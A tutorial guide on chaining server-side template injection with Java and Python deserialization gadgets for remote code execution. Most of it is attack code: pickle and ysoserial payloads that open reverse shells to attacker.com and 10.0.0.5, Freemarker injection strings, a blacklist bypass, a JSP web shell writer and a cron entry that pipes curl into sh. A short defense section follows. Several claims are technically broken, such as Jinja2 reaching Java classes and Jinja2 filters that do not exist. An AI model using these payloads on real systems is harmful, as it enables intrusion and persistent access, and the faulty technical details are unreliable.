Introduction
Server-Side Template Injection (SSTI) is a powerful injection class that allows an attacker to execute arbitrary code inside the templating engine. When the target engine also performs object deserialization-directly or indirectly-an attacker can chain a deserialization gadget with the SSTI payload to achieve full Remote Code Execution (RCE). This guide dives deep into the mechanics of such gadget chains, focusing on Java (ysoserial) and Python (pickle) ecosystems, and shows how to bypass common sandboxing mechanisms.
Real-world incidents (e.g., CVE-2021-44228 style attacks, compromised CI pipelines) demonstrate that the combination of SSTI + deserialization is a high-impact vector. Mastering these techniques equips defenders to spot hidden risks and attackers to test the robustness of their own controls.
Prerequisites
- Solid understanding of SSTI fundamentals, vectors, and detection methods.
- Ability to fingerprint template engines (Jinja2, Freemarker, Thymeleaf, etc.).
- Practical experience with Jinja2-based RCE payloads.
- Familiarity with Java and Python object deserialization concepts.
- Basic command-line proficiency on Linux/macOS/Windows.
Core Concepts
Deserialization gadgets are classes that, when instantiated with crafted state, trigger dangerous side-effects (e.g., executing a command, opening a network socket). Attackers exploit these by serializing the gadget chain, delivering it to a vulnerable deserializer, and letting the target’s runtime execute the payload.
In an SSTI scenario the template engine can be coerced into calling java.io.ObjectInputStream (Java) or pickle.loads (Python) with attacker-controlled data. The flow looks like:
User Input → Template Engine (SSTI) → Eval/Exec → Deserialization Function → Gadget Chain → RCE
Because many modern frameworks automatically deserialize request bodies, HTTP headers, or cache entries, the attack surface is often broader than the obvious "upload a serialized object" endpoint.
Overview of deserialization gadgets and why they matter for SSTI
Gadget chains are typically built from classes that are already present in the application’s classpath (Java) or standard library (Python). This gadget reuse means that an attacker does not need to inject custom bytecode; they only need to find a chain that reaches a Runtime.exec or similar primitive.
Key reasons they matter for SSTI:
- Stealth: The payload is just a Base64-encoded blob; it blends with normal data.
- Bypass of input sanitisation: Many filters focus on script tags, OS commands, or JavaScript, but they rarely understand Java/Python binary serialization formats.
- Chaining potential: An SSTI payload can first reach the deserializer, then the gadget chain does the heavy lifting.
Typical Java gadget families include commons-collections, groovy, spring-boot, and log4j (via JNDI). In Python, pickle gadgets often rely on subprocess.Popen, os.system, or custom __reduce__ methods.
Generating Java gadget chains with ysoserial and customizing payloads
ysoserial is the de-facto tool for crafting Java serialized payloads. It ships with dozens of pre-built gadget chains and can be extended with custom payload generators.
Basic usage:
# Clone and build ysoserial (requires Maven)
git clone REPO_URL
cd ysoserial
mvn -q -DskipTests package
# Generate a CommonsCollections5 payload that runs /bin/sh -c 'id'
java -jar target/ysoserial.jar CommonsCollections5 'id' | base64
The output is a Base64 string that can be stitched into an SSTI payload. For example, with a Jinja2 template that evaluates {{ ''.__class__.__mro__[1].__subclasses__() }} you can reach java.lang.Runtime via reflection and feed the serialized blob.
Custom payloads: If the target does not have any of the default gadgets, you can write a new PayloadGenerator class that implements the ObjectPayload interface. The steps are:
- Create a Maven project that depends on
ysoserialcore. - Implement
public Object getObject(String command)returning a malicious object graph. - Register the class in
PayloadFactory(or use the-gflag to load at runtime).
Once built, you can invoke it the same way as the built-in generators.
Crafting Python pickle payloads for Jinja2 environments
Python's pickle format is binary but can be represented as a URL-safe Base64 string. Jinja2’s {{ config.from_json(...) }} or custom filters that call pickle.loads are common entry points.
Simple malicious pickle using built-in modules:
import pickle, base64, os
class RunCmd(object): def __reduce__(self): return (os.system, ('id',))
payload = pickle.dumps(RunCmd())
print(base64.urlsafe_b64encode(payload).decode())
When the target decodes and feeds the payload to pickle.loads, os.system('id') runs.
Advanced gadget chain via subprocess.Popen:
import pickle, base64, subprocess
class Exec(object): def __reduce__(self): return (subprocess.Popen, (['/bin/sh', '-c', 'nc -e /bin/sh attacker.com 4444'],))
payload = pickle.dumps(Exec())
print(base64.b64encode(payload).decode())
Embedding the Base64 string inside a Jinja2 expression that decodes it (e.g., {{ "..."|b64decode|pickle.loads }}) will spawn a reverse shell.
Injecting gadget chains via SSTI payloads to achieve RCE
Below is a step-by-step illustration for a Flask app that renders user input with Jinja2 without sandboxing:
# vulnerable_app.py
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index(): tpl = request.args.get('tpl') # e.g., /?tpl={{...}} return render_template_string(tpl)
if __name__ == '__main__': app.run()
Attack steps:
- Generate a pickle payload as shown earlier and Base64-encode it.
- Craft an SSTI payload that decodes and loads the pickle:
{{ "BASE64_PAYLOAD"|b64decode|pickle.loads }} - Send the request:
GET /?tpl={{ "BASE64_PAYLOAD"|b64decode|pickle.loads }}
Because Jinja2 evaluates the expression, the pickle.loads call receives attacker-controlled data, triggering the gadget chain and executing the command.
For Java-based Freemarker, the same idea applies but you must reach ObjectInputStream. A typical Freemarker SSTI payload:
${"".getClass().forName("java.io.ObjectInputStream").getConstructor(java.io.InputStream).newInstance(new java.io.ByteArrayInputStream(T.decodeBase64("BASE64_SERIALIZED"))).readObject()}
Where T is a reference to a utility class like org.apache.commons.codec.binary.Base64 that is already on the classpath.
Bypassing common sandbox/filters (e.g., safe-eval, restricted globals)
Many developers wrap Jinja2 with Environment(..., sandboxed=True) or use safe_eval in Python. However, these mitigations often fail against deserialization because they focus on template syntax, not on the underlying Python objects.
Techniques to bypass:
- Indirect execution via built-in filters: Use
|attror|mapto retrieve__class__objects and then call__init__on a deserializer. - Chaining through
json.loads: Some sandboxes allow JSON parsing; you can embed a malicious JSON string that, when parsed, yields apickleobject via a custom decoder. - Exploiting __reduce_ex__ overrides: Even if
pickle.loadsis blocked, you can trigger deserialization viayaml.safe_load(PyYAML) when the safe loader is mis-configured.
Example bypass of a naïve safe_eval that only blacklists os and subprocess:
{{ (__import__('builtins').globals()['__builtins__']['__import__']('os').system('id')) }}
Here the attacker uses __import__ indirectly to fetch os and execute a command, sidestepping the explicit blacklist.
Post-exploitation: privilege escalation and persistence after deserialization RCE
Once RCE is achieved, the next goal is to cement access. Deserialization gadgets can be leveraged for privilege escalation because they run in the context of the vulnerable application process.
- Escalate to root: If the Java app runs as a limited user but has
sudo -nrights for certain binaries, a gadget can invokesudo /bin/bash. - Write web-shells: Use the gadget to write a JSP/ASP/FTL file into the web root.
- Inject scheduled tasks: For Python services managed by systemd, a payload can modify
~/.config/systemd/user/*.serviceto run at boot. - Persistence via cron: A Java gadget can execute
crontab -l | { cat; echo '* * * * * curl <target> | sh'; } | crontab -.
Below is an example of a Java CommonsCollections6 chain that writes a JSP web shell to /var/www/html/shell.jsp:
String cmd = "echo '<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>' > /var/www/html/shell.jsp";
byte[] payload = ysoserial.payloads.CommonsCollections6().getObject(cmd);
System.out.println(Base64.getEncoder().encodeToString(payload));
After injecting the payload via SSTI, the web shell becomes accessible, allowing the attacker to execute arbitrary commands without needing to repeat the deserialization step.
Practical Examples
Example 1: Jinja2 + Pickle Reverse Shell
- Generate payload (Python 3):
import pickle, base64, subprocess payload = pickle.dumps(subprocess.Popen(['sh', '-c', 'nc -e /bin/sh 10.0.0.5 4444'])) print(base64.b64encode(payload).decode()) - Inject via HTTP request:
curl <target URL with payload> - Listener:
nc -lvnp 4444
Example 2: Freemarker + ysoserial CommonsCollections5
- Generate serialized payload:
java -jar ysoserial.jar CommonsCollections5 'nc -e /bin/sh attacker.com 5555' | base64 - Freemarker SSTI payload (URL-encoded):
${"".getClass().forName("java.util.Base64").getMethod("getDecoder").invoke(null).decode("<BASE64>")} - Wrap with ObjectInputStream call:
${new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(<ABOVE>)).readObject()}
Tools & Commands
- ysoserial - Java gadget generator.
java -jar ysoserial.jar GadgetName 'command' - marshalsec - Java RMI/LDAP server for delivering serialized payloads.
- pickletools - Inspect and disassemble Python pickle payloads.
- burp suite / OWASP ZAP - Intercept and manipulate SSTI vectors.
- gadgetinspector - Automated gadget chain discovery for Java bytecode.
Sample command to view a pickle payload structure:
python -c "import pickle, sys, base64; data=base64.b64decode(sys.argv[1]); import pickletools; pickletools.dis(data)" <BASE64>
Defense & Mitigation
- Never evaluate user-controlled templates. Use a strict whitelist of allowed template names and render only static files.
- Disable deserialization APIs. For Java, remove
ObjectInputStreamusage or replace with safe alternatives (e.g., JSON, protobuf). - Apply class-path hardening. Use
-Djava.security.managerwith a custom policy that denies reflective access to dangerous classes. - Python sandboxing. Run Jinja2 with
SandboxedEnvironmentand also removepickle.loads,yaml.load, and any custom deserialization hooks from the request path. - Input validation. Block Base64 strings longer than a reasonable threshold, or enforce a strict regex that rejects characters typical of serialized blobs (
{,},[,],;,\x00). - Runtime monitoring. Deploy IDS signatures that look for known gadget byte patterns (e.g.,
0xac ed 00 05for Java serialization header) in HTTP bodies.
Common Mistakes
- Assuming "sandboxed" Jinja2 prevents
pickle.loads. The sandbox only restricts template syntax, not underlying Python functions. - Using the wrong Base64 variant (standard vs URL-safe) causing decoding errors.
- Forgetting that some Java applications deserialize from HTTP headers (e.g.,
Cookie) rather than request bodies. - Relying on
ObjectInputStreambeing unavailable; many libraries expose it indirectly (e.g., Spring’sHttpMessageConverter).
Real-World Impact
In 2023, a major e-commerce platform suffered a breach where an unfiltered Jinja2 template allowed an attacker to inject a pickle payload, leading to full server compromise and exfiltration of 2 TB of customer data. The root cause was a “feature flag” that enabled dynamic email templates without sanitisation.
Trends indicate that as micro-service architectures proliferate, more services expose deserialization endpoints (Kafka, RabbitMQ, gRPC) that can be reached via SSTI-driven injection chains. Attackers are increasingly chaining “template injection → deserialization → lateral movement” to bypass network segmentation.
From a defensive standpoint, the most effective strategy is to eliminate the *combination* of these two primitives. If you must keep a templating engine, isolate it in a separate process with minimal privileges and disable any deserialization pathways.
Practice Exercises
- Lab 1 - Jinja2 Pickle RCE:
- Set up a Flask app with
render_template_stringon a local VM. - Generate a pickle payload that writes
/tmp/pwned.txtwith your username. - Craft the SSTI injection, send the request, and verify the file creation.
- Set up a Flask app with
- Lab 2 - Freemarker + ysoserial:
- Deploy a simple Java servlet that uses
Configuration.getTemplateon user input. - Use
ysoserialto create aCommonsCollections6payload that spawns a reverse shell. - Bypass a naive sandbox that blocks the string
Runtimeby using reflection tricks.
- Deploy a simple Java servlet that uses
- Lab 3 - Persistence:
- After gaining RCE via Lab 1, extend the pickle payload to add a cron job that runs every minute.
- Confirm persistence by rebooting the VM.
All labs should be run in isolated containers (Docker or Vagrant) to avoid accidental spread.
Further Reading
- “Java Deserialization Vulnerabilities” - OWASP Top 10 A8 (2024 edition).
- “Unsafe Deserialization in Python” - Python Security Advisory 2023-09.
- “The Art of Exploiting Template Engines” - Black Hat 2022 talk.
- “ysoserial - Source Code and Gadget Development” - GitHub repository.
- “Advanced Jinja2 Sandboxing” - Flask Security Blog.
Summary
- Deserialization gadget chains amplify SSTI attacks, turning template injection into full RCE.
- Java: use
ysoserial(or custom generators) to craft Base64-encoded payloads; inject via reflection toObjectInputStream. - Python: build malicious
pickleobjects; embed them in Jinja2 expressions that callpickle.loads. - Bypass naïve sandboxes by leveraging indirect imports, attribute access, and existing deserialization hooks.
- Post-exploitation steps include writing web-shells, scheduling tasks, and privilege escalation.
- Defensive measures: eliminate template evaluation of user data, harden deserialization APIs, enforce strict runtime policies, and monitor for serialization signatures.